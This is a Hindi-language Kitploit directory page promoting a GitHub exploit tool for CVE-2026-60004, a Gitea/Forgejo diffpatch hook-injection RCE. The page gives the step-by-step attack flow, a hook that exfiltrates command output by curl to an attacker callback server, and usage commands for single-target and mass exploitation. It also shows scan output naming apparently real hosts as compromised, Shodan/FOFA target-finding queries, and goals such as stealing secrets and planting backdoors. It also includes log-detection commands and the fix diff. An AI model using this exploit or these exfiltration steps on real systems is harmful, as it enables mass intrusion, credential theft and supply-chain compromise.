Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-60004 — CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE। Bare clone → post-index-change hook इंजेक्शन। CVSS 9.8 | CWE-94 | Gitea < 1.27.1 | Kitploit
उपकरण/GitHubGitHub/shinthink/cve-2026-60004
टोहीभेद्यता स्कैनरशोषणवेब एप्लिकेशन शोषणडेटा निष्कासनपेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubshinthink/cve-2026-60004

CVE-2026-60004

CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE। Bare clone → post-index-change hook इंजेक्शन। CVSS 9.8 | CWE-94 | Gitea < 1.27.1

रिपॉजिटरी देखें
91 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-60004 — Gitea Diffpatch Git हुक RCE

बेयर क्लोन हुक इंजेक्शन → post-index-change → मनमाना कमांड निष्पादन


अवलोकन

CVE-2026-60004 एक गंभीर-स्तर (CVSS 9.8) प्री-ऑथेंटिकेशन रिमोट कोड निष्पादन (RCE) भेद्यता है, जो Gitea और Forgejo सेल्फ-होस्टेड Git प्लेटफ़ॉर्म को प्रभावित करती है, विशेष रूप से संस्करण 1.17 से 1.27.0 तक।

यह भेद्यता POST /api/v1/repos/{owner}/{repo}/diffpatch API एंडपॉइंट में एक बेयर-क्लोन डिज़ाइन दोष का फायदा उठाती है। Gitea उपयोगकर्ता द्वारा प्रदान किए गए पैच को बेयर अस्थायी क्लोन के अंदर लागू करता है — जहाँ रिपॉजिटरी रूट स्वयं $GIT_DIR होता है। उसी दुर्भावनापूर्ण पैच को दो बार सबमिट करके, एक हमलावर add/add कॉन्फ्लिक्ट ट्रिगर करता है, जिससे Git का थ्री-वे मर्ज फ़ॉलबैक (-3, Git 2.32+) सीधे $GIT_DIR/hooks/ में एक एक्ज़ीक्यूटेबल post-index-change हुक लिख देता है। इंडेक्स अपडेट के दौरान Git इस हुक को स्वचालित रूप से निष्पादित करता है, जिससे Gitea सेवा खाते के अंतर्गत मनमाना कमांड निष्पादन होता है।

रिपॉजिटरी लेखन (write) पहुंच आवश्यक है — जो Gitea में डिफ़ॉल्ट रूप से खुली रजिस्ट्रेशन की वजह से आसानी से प्राप्त होती है, बिना ईमेल सत्यापन, एडमिन अनुमोदन, या रिपॉजिटरी निर्माण सीमा के।

प्रभावित संस्करण

संस्करणस्थिति
< 1.17प्रभावित नहीं (diffpatch रूट अभी पेश नहीं हुआ था)
1.17 — 1.27.0असुरक्षित
1.27.1+पैच किया गया

खोजकर्ता: Shai Rod (NightRang3r), 28 जुलाई, 2026 प्रोजेक्ट: Gitea / Forgejo (सेल्फ-होस्टेड Git सेवा) घटक: diffpatch API एंडपॉइंट, बेयर अस्थायी क्लोन


भेद्यता तंत्र

मूल कारण

यह भेद्यता services/repository/files/patch.go में एकल पैरामीटर से उत्पन्न होती है:

root@kitploit:~
// VULNERABLE — v1.27.0, line 195
// The second argument "true" creates a BARE clone
if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
    return nil, err
}

एक बेयर क्लोन में कोई वर्किंग ट्री नहीं होता — रिपॉजिटरी रूट ही $GIT_DIR होता है। इसलिए एक दुर्भावनापूर्ण पैच जिसका फ़ाइल पथ hooks/post-index-change है, सीधे Git के वास्तविक हुक्स निर्देशिका में जाकर गिरता है, न कि किसी सैंडबॉक्स्ड वर्किंग ट्री में।

git apply का इनवोकेशन इसे और बढ़ा देता है:

root@kitploit:~
// VULNERABLE — v1.27.0, lines 206-209
cmdApply := gitcmd.NewCommand("apply",
    "--index", "--recount", "--cached",
    "--ignore-whitespace", "--whitespace=fix", "--binary")

if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
    cmdApply.AddArguments("-3")  // three-way merge fallback
}

यह कैसे काम करता है

  1. बेयर क्लोन कोई सैंडबॉक्स प्रदान नहीं करता — अस्थायी क्लोन का रूट $GIT_DIR है, इसलिए पथ hooks/post-index-change वास्तविक हुक्स निर्देशिका से मैप होता है।
  2. --cached पूरी तरह अभेद्य नहीं है — Git 2.32+ में -3 थ्री-वे फ़ॉलबैक add/add कॉन्फ्लिक्ट के दौरान मर्ज किए गए परिणाम वर्किंग ट्री में लिख देता है, --cached फ़्लैग के बावजूद।
  3. डबल-सबमिट कॉन्फ्लिक्ट को ट्रिगर करता है — पहला apply हुक को इंडेक्स में जोड़ता है। दूसरा apply add/add टकराव बनाता है, थ्री-वे मर्ज फ़ाइल को डिस्क पर लिखता है, और Git इसे निष्पादित करता है।
  4. Git स्वचालित रूप से post-index-change निष्पादित करता है — इंडेक्स अपडेट करने के बाद, Git इस हुक को बिना शर्त चलाता है यदि यह मौजूद और एक्ज़ीक्यूटेबल है। किसी कॉन्फ़िगरेशन की आवश्यकता नहीं है।
  5. हुक कमांड इंडेक्स को संशोधित नहीं कर सकते — हुक के अंदर git update-index डेडलॉक हो जाता है क्योंकि git apply इंडेक्स लॉक रखता है। आउटपुट एक्सफ़िल्ट्रेशन के लिए HTTP कॉलबैक (curl) या रिवर्स शेल का उपयोग करें।

हमले का प्रवाह

root@kitploit:~
1. Attacker registers account (open registration is the Gitea default)
2. Creates initialized private repository → obtains write access
3. POSTs malicious patch to /api/v1/repos/{owner}/{repo}/diffpatch
   └─ Bare temp clone created: .Clone(ctx, oldBranch, true)
   └─ git apply --index --cached -3 processes the patch
   └─ hooks/post-index-change added to INDEX only (--cached)
4. POSTs the SAME patch again → add/add conflict detected
   └─ Three-way merge (-3) resolves the conflict
   └─ Writes hooks/post-index-change to $GIT_DIR/hooks/ (bypasses --cached)
   └─ Git fires post-index-change hook automatically
   └─ Sleep N seconds → timing delta confirms RCE
5. Hook exfiltrates command output via curl to attacker's callback server
   └─ GET /?h=<hostname>&c=<command>&data=<base64_output>
6. Callback server writes output to organized files per target

सत्यापित सोर्स कोड संदर्भ

सर्वर लॉग डिटेक्शन

root@kitploit:~
# Look for repeated diffpatch POSTs from newly-registered accounts
grep -E "POST.*diffpatch" /var/log/gitea/gitea.log | awk '{print $1, $3, $NF}' | sort | uniq -c | sort -rn

# Suspicious pattern: new account → immediate repo creation → diffpatch within seconds
grep -E "(user_created|repo_created|diffpatch)" /var/log/gitea/gitea.log

# Check temp directories for orphaned hook files
find /tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
find /var/tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null

मुख्य डिज़ाइन दोष

बेयर और नॉन-बेयर क्लोन के बीच का अंतर — एक एकल बूलियन पैरामीटर — यह निर्धारित करता है कि पैच पथ एक हानिरहित वर्किंग-ट्री एंट्री है या एक एक्ज़ीक्यूटेबल हुक जो सीधे Git की आंतरिक निर्देशिका में पहुँचता है। फिक्स डिफ में ठीक एक अक्षर बदलता है (true → false), यही कारण है कि इस कमिट को SECURITY के बजाय MISC के अंतर्गत "refactor: git patch apply" लेबल दिया गया था। जिस ऑपरेशन को इंडेक्स तक सीमित (--cached) रहना था, उसे Git के अपने थ्री-वे मर्ज तंत्र ने चुपचाप तोड़ दिया, और किसी अतिरिक्त गार्ड ने बेयर क्लोन के $GIT_DIR में हुक फ़ाइलें बनने से नहीं रोका।


इंस्टॉलेशन

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-60004.git
cd CVE-2026-60004
pip install requests

उपयोग

root@kitploit:~
# Single target (timing-based RCE detection)
python cve_2026_60004.py -t gitea.example.com

# Single target with callback for output capture
python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888

# Mass scan
python cve_2026_60004.py -f targets.txt -o rce.txt --threads 20

# Force attempt regardless of detected version
python cve_2026_60004.py -f targets.txt --forced

# Auto-start built-in callback listener (zero setup)
python cve_2026_60004.py -t gitea.example.com --listen

तर्क

root@kitploit:~
  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -c, --command      Shell command to execute (default: id)
  --callback         HTTP callback URL for output exfiltration
  --listen [PORT]    Auto-start built-in callback listener
  -o, --output       Save RCE-confirmed URLs to file
  --threads          Concurrent workers (default: 25)
  --timeout          HTTP request timeout in seconds
  --no-cleanup       Leave repository and user on target
  --forced           Attempt exploit regardless of detected version
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

प्रूफ ऑफ कॉन्सेप्ट (PoC)

एकल लक्ष्य

root@kitploit:~
$ python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
root@kitploit:~
  Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8

  Host        : gitea.example.com
  Version     : 1.22.0
  Vuln (< 1.27.1) : YES
  RCE         : CONFIRMED
  Detection   : timing Δ 8.0s (hook sleep 4s)
  User        : poc_a1b2c3
  Time        : 9.5s

मास स्कैन

root@kitploit:~
$ python cve_2026_60004.py -f targets.txt --callback http://your-server:8888 --threads 20
root@kitploit:~
  Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8

  Targets: 259  |  Threads: 20

  [RCE] gitea.idetama.id              Δ8.7s (hook sleep 4s)
  [RCE] gitea.roan.id.au              Δ8.7s (hook sleep 4s)
  [DET] git.ofon.id                   | ⠼ [████░░░░░░░░░░░] 86/259 (33%)  Det:76  RCE:2

  ───────────────────────────────────────────────────────
  SCAN SUMMARY
  ───────────────────────────────────────────────────────
  Total           : 259
  RCE Confirmed   : 12
  Hook Failed     : 5
  Patched         : 25
  Errors          : 151
     Register fail : 85
     Login fail    : 42
     Repo fail     : 24
  Not Gitea       : 66
  ───────────────────────────────────────────────────────
  Detection method: timing
  Done | 77s

कॉलबैक आउटपुट (प्रति लक्ष्य स्वतः-सहेजा गया)

root@kitploit:~
callback-data/
├── index.txt
├── gitea.idetama.id/
│   ├── output_2026-08-03_120000.txt
│   └── latest.txt
├── gitea.roan.id.au/
│   └── ...

FOFA / Shodan

root@kitploit:~
FOFA:   title="Gitea" || body="gitea" || body="forgejo"
Shodan: http.title:"Gitea" http.component:"Gitea"
Censys: services.http.response.html_title:"Gitea"

प्रभाव

सफल शोषण से Gitea सेवा खाते के रूप में रिमोट कोड निष्पादन प्राप्त होता है:

  • app.ini कॉन्फ़िगरेशन निकालें — डेटाबेस क्रेडेंशियल, SMTP सीक्रेट, OAuth ऐप कुंजियाँ, LFS/JWT सीक्रेट
  • सभी होस्टेड रिपॉजिटरी, कमिट इतिहास और LFS ऑब्जेक्ट तक पहुँच प्राप्त करें
  • Gitea होस्ट से पहुँच योग्य आंतरिक सेवाओं (CI/CD, पैकेज रजिस्ट्री, कंटेनर रजिस्ट्री) की ओर पिवट करें
  • SSH कुंजियों या शैडो एडमिन खातों के माध्यम से स्थायी बैकडोर तैनात करें
  • सॉफ्टवेयर सप्लाई चेन से समझौता — इंस्टेंस द्वारा परोसी जाने वाली रिपॉजिटरी में बैकडोर इंजेक्ट करें

इंस्टेंस पर किसी खाते की आवश्यकता नहीं है — रजिस्ट्रेशन डिफ़ॉल्ट रूप से खुली है।


फिक्स (1.27.1)

Gitea ने संस्करण 1.27.1 (कमिट 470d34b) में इस भेद्यता को निम्नलिखित तरीके से ठीक किया:

  • अस्थायी क्लोन को बेयर से नॉन-बेयर में बदलना, ताकि हमलावर-नियंत्रित फ़ाइल पथ सीधे $GIT_DIR/hooks/ के बजाय वर्किंग ट्री में जाएँ
  • एक चेतावनी टिप्पणी जोड़ना कि --index ऑपरेशन कुछ शर्तों के तहत वर्किंग ट्री के साथ इंटरैक्ट कर सकते हैं
  • एक यूनिट टेस्ट (TestGitPatchPrepare) जोड़ना जो .git सबडायरेक्ट्री की जाँच करके यह सुनिश्चित करता है कि अस्थायी क्लोन नॉन-बेयर है
root@kitploit:~
- if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
+ // here must NOT use bare repo, because the following git commands
+ // might operate working tree ("--index") directly
+ if err := t.Clone(ctx, opts.OldBranch, false); err != nil {

यह फिक्स 1.27.1 रिलीज़ नोट्स में SECURITY के बजाय MISC के अंतर्गत "refactor: git patch apply" के रूप में दिखाई दिया, जिससे केवल सुरक्षा-संबंधित चेंजलॉग एंट्री स्कैन करने वाले एडमिन इस महत्वपूर्ण अपडेट को आसानी से अनदेखा कर सकते हैं। CherryPick में वही बेयर-क्लोन पैटर्न भी ठीक किया गया।


अस्वीकरण

केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए।

स्वामी की स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध उपयोग न करें। लेखक दुरुपयोग के लिए कोई ज़िम्मेदारी नहीं लेते हैं।


संदर्भ

संसाधनलिंक

शाई रॉड (NightRang3r) द्वारा खोजा गया। Gitea या Forgejo से संबद्ध नहीं है।

टूल डाउनलोड करें
फ़ाइलपंक्ति(याँ)उद्देश्य
services/repository/files/patch.go195t.Clone(ctx, opts.OldBranch, true) — बेयर क्लोन निर्माण
services/repository/files/patch.go206-209git apply फ़्लैग्स --index --cached -3 के साथ
services/repository/files/patch.go215-223WriteTree() + CommitTree() + Push() — हमलावर की स्थिति को स्थायी रूप से सहेजता है
services/repository/files/cherry_pick.go~170CherryPick में भी यही बेयर-क्लोन पैटर्न (इसे भी ठीक किया गया)
Gitea फिक्स कमिट470d34b
शोधकर्ताNightRang3r
CWE-94कोड इंजेक्शन
Git हुकpost-index-change